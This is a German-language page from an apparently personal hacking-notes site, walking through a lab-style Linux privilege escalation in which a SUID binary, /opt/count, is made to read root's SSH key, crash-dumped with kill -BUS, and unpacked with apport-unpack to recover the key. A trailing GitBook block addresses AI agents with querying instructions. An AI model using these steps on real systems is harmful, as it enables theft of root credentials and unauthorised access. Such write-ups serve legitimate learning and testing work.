> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md).

# SUID-Kerndump /opt/count - Linux-Privilegieneskalation

## Was es ist

SUID-Binaries werden mit den Rechten ihres Besitzers ausgeführt, oft root. Ein verwundbares, veraltetes oder zu flexibles SUID-Binary kann geschützte Dateien lesen, eine privilegierte Shell starten oder vom Angreifer kontrollierten Code ausführen. Diese spezielle Seite konzentriert sich auf **SUID - Speicherabbild (/opt/count)** und hält den Ausnutzungsablauf praxisnah: Bedingung identifizieren, sicher validieren und dann die kleinste nötige Nutzlast ausführen, um die Auswirkungen zu belegen.

## Enumeration

Beginnen Sie damit, den lokalen Kontext und die genaue Fehlkonfiguration zu bestätigen, bevor Sie den Exploit-Pfad ausführen.

```bash
find / -perm -4000 -type f 2>/dev/null
```

## Beispiele

Verwenden Sie den folgenden Befehl, um nach SUID-Rechten zu suchen, die unserem Benutzer zur Verfügung stehen:

```bash
find / -perm -4000 2>/dev/null
```

Wir finden eine seltene Datei, die sich in `/opt/count`, im Besitz von `root`.

<figure><img src="/files/b0ba274c7ddebdb885d710dd89293d3fbb382102" alt=""><figcaption></figcaption></figure>

Wenn diese Binärdatei ausgeführt wird, fordert sie eine Datei an und gibt dann die Gesamtanzahl der Zeichen, Wörter und Zeilen aus. Das Skript liest den Dateiinhalt ein und zeigt dessen Eigenschaften an.

<figure><img src="/files/4bfd49eec82ebaae950c24bd9a7d5985b154fe9a" alt="" width="563"><figcaption></figcaption></figure>

### Core-Dump-Binary

Durch die Untersuchung des Quellcodes können wir feststellen, dass ein Core-Dump erzeugt wird, der den Inhalt im Fehlerfall vorübergehend speichert.

<figure><img src="/files/703cd91475e4244a58ba7544ba18160ec4b98d8f" alt=""><figcaption></figcaption></figure>

Fehler werden im `/var/crash` Verzeichnis gespeichert. So erstellt man einen Core Dump:

1. **Datei- oder Verzeichnisname eingeben:**

   ```bash
   Quell-Datei/-Verzeichnisnamen eingeben: /root/.ssh/id_rsa
   ```

   (SSH-Root-Schlüssel)
2. \*\*Ergebnisse in einer Datei speichern? \*\*

   ```css
   Ergebnisse in einer Datei speichern? [j/N]: ^Z
   ```

   (Hintergrund)
3. **PID ermitteln:**

   ```bash
   ps
   ```

   *(PID kopieren)*
4. **Prozess beenden:**

   ```bash
   kill -BUS 'PID'
   ```
5. **Die Binärdatei neu starten:**

   ```bash
   fg
   ```
6. **Prüfe das Core-Dumps-Verzeichnis:**

   ```bash
   ls -l /var/crash
   ```

   (Es erscheint eine neue Datei: `_opt_count.1000.crash`)

<figure><img src="/files/121ee493f37bd102361a181a7b632e590a908cc7" alt=""><figcaption></figcaption></figure>

Wir haben jetzt einen Base64-Core-Dump, der den SSH-Schlüssel von root enthält.

<figure><img src="/files/e8e5d5780025af0e90d690c3cf1d617b68b00d2b" alt=""><figcaption></figcaption></figure>

### apport-unpack

Um die Informationen zu extrahieren, verwenden wir `apport-unpack`:

```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```

Dann werden wir den Inhalt der Datei in `/tmp/ssh/coredump` mit `strings`:

<figure><img src="/files/f8002e3346ed11b583cb9e792b7c4204adeac3db" alt=""><figcaption></figcaption></figure>

Wir finden den SSH-Root-Schlüssel

<figure><img src="/files/3405db9de9b8635c1059c65afeca395fc16eeeef" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
